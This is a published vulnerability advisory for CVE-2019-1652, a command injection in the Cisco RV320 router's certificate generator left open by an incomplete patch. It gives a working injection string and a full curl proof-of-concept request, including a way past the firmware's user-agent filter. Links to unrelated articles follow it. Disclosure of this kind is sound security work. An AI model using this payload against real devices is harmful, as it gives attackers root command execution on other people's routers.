Advisory: Cisco RV320 Command Injection

RedTeam Pentesting discovered a command injection vulnerability in the
web-based certificate generator feature of the Cisco RV320 router which
was inadequately patched by the vendor.

Details
=======

Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others
Affected Versions: 1.4.2.15 through 1.4.2.20
Fixed Versions: none
Vulnerability Type: Remote Code Execution
Security Risk: medium
Vendor URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject
Vendor Status: working on patch
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-005
Advisory Status: published
CVE: CVE-2019-1652
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1652

Introduction
============

"Keep your employees, your business, and yourself productive and
effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal
choice for any small office or small business looking for performance,
security, and reliability in its network."
(from the Cisco RV320 product page [1])

More Details
============

The router's web interface enables users to generate new X.509
certificates directly on the device. Previously, RedTeam Pentesting
identified a vulnerability (rt-sa-2018-004) [2] in this component. By
providing a specially crafted common name, it was possible to inject
shell commands which were subsequently executed on the router as the
root user. This vulnerability was adressed in firmware version 1.4.2.19
published by Cisco [3].

RedTeam Pentesting discovered that the certificate generator in the patched
firmware is still vulnerable. The update adds several filters to handle
single quotes in user input. However, these filters can be evaded by
specially crafted inputs. By providing the following string for the
certificate's common name, a "ping" command can be injected:

------------------------------------------------------------------------
'a$(ping -c 4 192.168.1.2)'b
------------------------------------------------------------------------

Proof of Concept
================

The following HTTP POST request invokes the certificate generator
function and triggers the command injection. It requires a valid session
cookie for the device's web interface. The user agent "curl" is
blacklisted by the firmware and must be adjusted in the HTTP client.

------------------------------------------------------------------------
$ curl -s -k -A kurl -X POST -b "$COOKIE" \
--data "page=self_generator.htm&totalRules=1&OpenVPNRules=30"\
"&submitStatus=1&log_ch=1&type=4&Country=A&state=A&locality=A"\
"&organization=A&organization_unit=A&email=ab%40example.com"\
"&KeySize=512&KeyLength=1024&valid_days=30&SelectSubject_c=1&"\
"SelectSubject_s=1" \
--data-urlencode "common_name='a\$(ping -c 4 192.168.1.2)'b" \
"https://192.168.1.1/certificate_handle2.htm?type=4"
------------------------------------------------------------------------

Afterwards, the incoming ICMP echo requests can be observed on the
attacker's system at 192.168.1.2.

Workaround
==========

Prevent untrusted users from using the router's web interface.

Fix
===

None

Security Risk
=============

The vulnerability allows attackers with administrative access to the
router's web interface to execute arbitrary operating system commands on
the device. Because attackers require valid credentials to the web
interface, this vulnerability is only rated as a medium risk.

Timeline
========

2018-09-19 Original vulnerability identified
2018-09-27 Customer approved disclosure to vendor
2018-09-28 Vendor notified
2018-10-05 Receipt of advisory acknowledged by vendor
2018-10-05 Notified vendor of disclosure date: 2019-01-09
2018-12-21 Postponing disclosure to 2019-01-23, as requested by vendor
2019-01-16 List of affected versions provided by vendor
2019-01-22 Firmware 1.4.2.20 released by vendor
2019-01-23 Advisory (rt-sa-2018-004) published

2019-02-07 Incomplete mitigation of vulnerability identified
2019-02-08 Proof of concept sent to vendor
2019-02-08 Receipt of proof of concept acknowledged by vendor
2019-02-15 Full advisory sent to vendor
2019-02-15 Notified vendor of disclosure date: 2019-03-27
2019-03-25 Requested progress update from vendor
2019-03-25 Vendor requests postponed disclosure
2019-03-25 Postponement declined
2019-03-27 Advisory published

References
==========

[1] https://www.cisco.com/c/en/us/products/routers/rv320-dual-gigabit-wan-vpn-router/index.html
[2] https://www.redteam-pentesting.de/advisories/rt-sa-2018-004
[3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject

RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/

RT-SA-2019-005 Cisco RV320 Command Injection Retrieval的更多相关文章

  1. 安全性测试入门:DVWA系列研究(二):Command Injection命令行注入攻击和防御

    本篇继续对于安全性测试话题,结合DVWA进行研习. Command Injection:命令注入攻击. 1. Command Injection命令注入 命令注入是通过在应用中执行宿主操作系统的命令, ...

  2. RT-SA-2019-003 Cisco RV320 Unauthenticated Configuration Export

    Advisory: Cisco RV320 Unauthenticated Configuration Export RedTeam Pentesting discovered that the co ...

  3. RT-SA-2019-004 Cisco RV320 Unauthenticated Diagnostic DataRetrieval

    Advisory: Cisco RV320 Unauthenticated Diagnostic Data Retrieval RedTeam Pentesting discovered that t ...

  4. DVWA之命令注入(command injection)

    Command injection就是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的 LOW 无论是Windows还是Linux,都可以使用&&连接多个命令 执行 ...

  5. DVWA Command Injection 通关教程

    Command Injection 介绍 命令注入(Command Injection),对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者bash命令)的一种注入攻 ...

  6. DVWA Command Injection 解析

    命令注入,即 Command Injection.是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的. 在Web应用中,有时候会用到一些命令执行的函数,如php中system.ex ...

  7. Fortify Audit Workbench 笔记 Command Injection(命令注入)

    Command Injection(命令注入) Abstract 执行不可信赖资源中的命令,或在不可信赖的环境中执行命令,都会导致程序以攻击者的名义执行恶意命令. Explanation Comman ...

  8. DWVA-命令注入漏洞闯关(Command Injection)

    前言 Vulnerability: Command Injection LOW级别 代码: <?php if( isset( $_POST[ 'Submit' ] ) ) { // 几首一个变量 ...

  9. bWAPP----HTML OS Command Injection - Blind

    OS Command Injection - Blind 先上代码,他判断了win还是linux然后进行了ping但是结果并没有返回. 1 <div id="main"> ...

随机推荐

  1. jpa 联合查询方法

    public interface TaskBaseline { String getNumber(); String getTitle(); String getName(); String getP ...

  2. c++11のunique_lock和once_flag

    一. Unique _lock和lockguard一样,到那时比lockguard更加灵活,可以随时按照需要加锁开锁 std::unique_lock<std::mutex> locker ...

  3. python3 time模块

    import time '''查看系统时间拿到的是一个数字(时间戳)从1970-01-01 00:00:00开始计算,以秒为单位'''print(time.time()) 执行结果:155650817 ...

  4. 《通过C#学Proto.Actor模型》之Behaviors

    Behaviors就是Actor接收到消息后可以改变处理的方法,相同的Actor,每次调用,转到不同的Actor内方法执行,非常适合按流程进行的场景.Behaviors就通过在Actor内部实例化一个 ...

  5. docker pull报错failed to register layer: Error processing tar file(exit status 1): open permission denied

    近来在一个云主机上操作docker pull,报错如下: failed to register layer: Error processing ): open /etc/init.d/hwclock. ...

  6. UEFI和Legacy及UEFI+Legacy启动的区别

    uefi和legacy是两种不同的引导方式,uefi是新式的BIOS,legacy是传统BIOS.你在UEFI模式下安装的系统,只能用UEFI模式引导:同理,如果你是在Legacy模式下安装的系统,也 ...

  7. 在Ubuntu下运行 apt-get update命令后出现错误:

    在Ubuntu下运行 apt-get update命令后出现错误: The package lists or status file could not be parsed or opened sud ...

  8. es6可变参数-扩展运算符

    es5中参数不确定个数的情况下: //求参数和 function f(){ var a = Array.prototype.slice.call(arguments); var sum = 0; a. ...

  9. Filter过滤要登录的页面(重要)

    一.为什么要写过滤器,过滤页面? 本人做了一个网站,目前还在开发.做过滤器的目的就是为了要过滤一些页面必需要用户登录之后才能看,主页什么的可以随便看,一旦涉及到要发布或评论什么信息,就必须要过滤用户的 ...

  10. Python进阶1---高阶函数、柯里化

    高阶函数 不相等  自定义sort函数 内建函数--高阶函数 #sort函数 def sort2(lst,key = None,reverse = False): res = [] if key is ...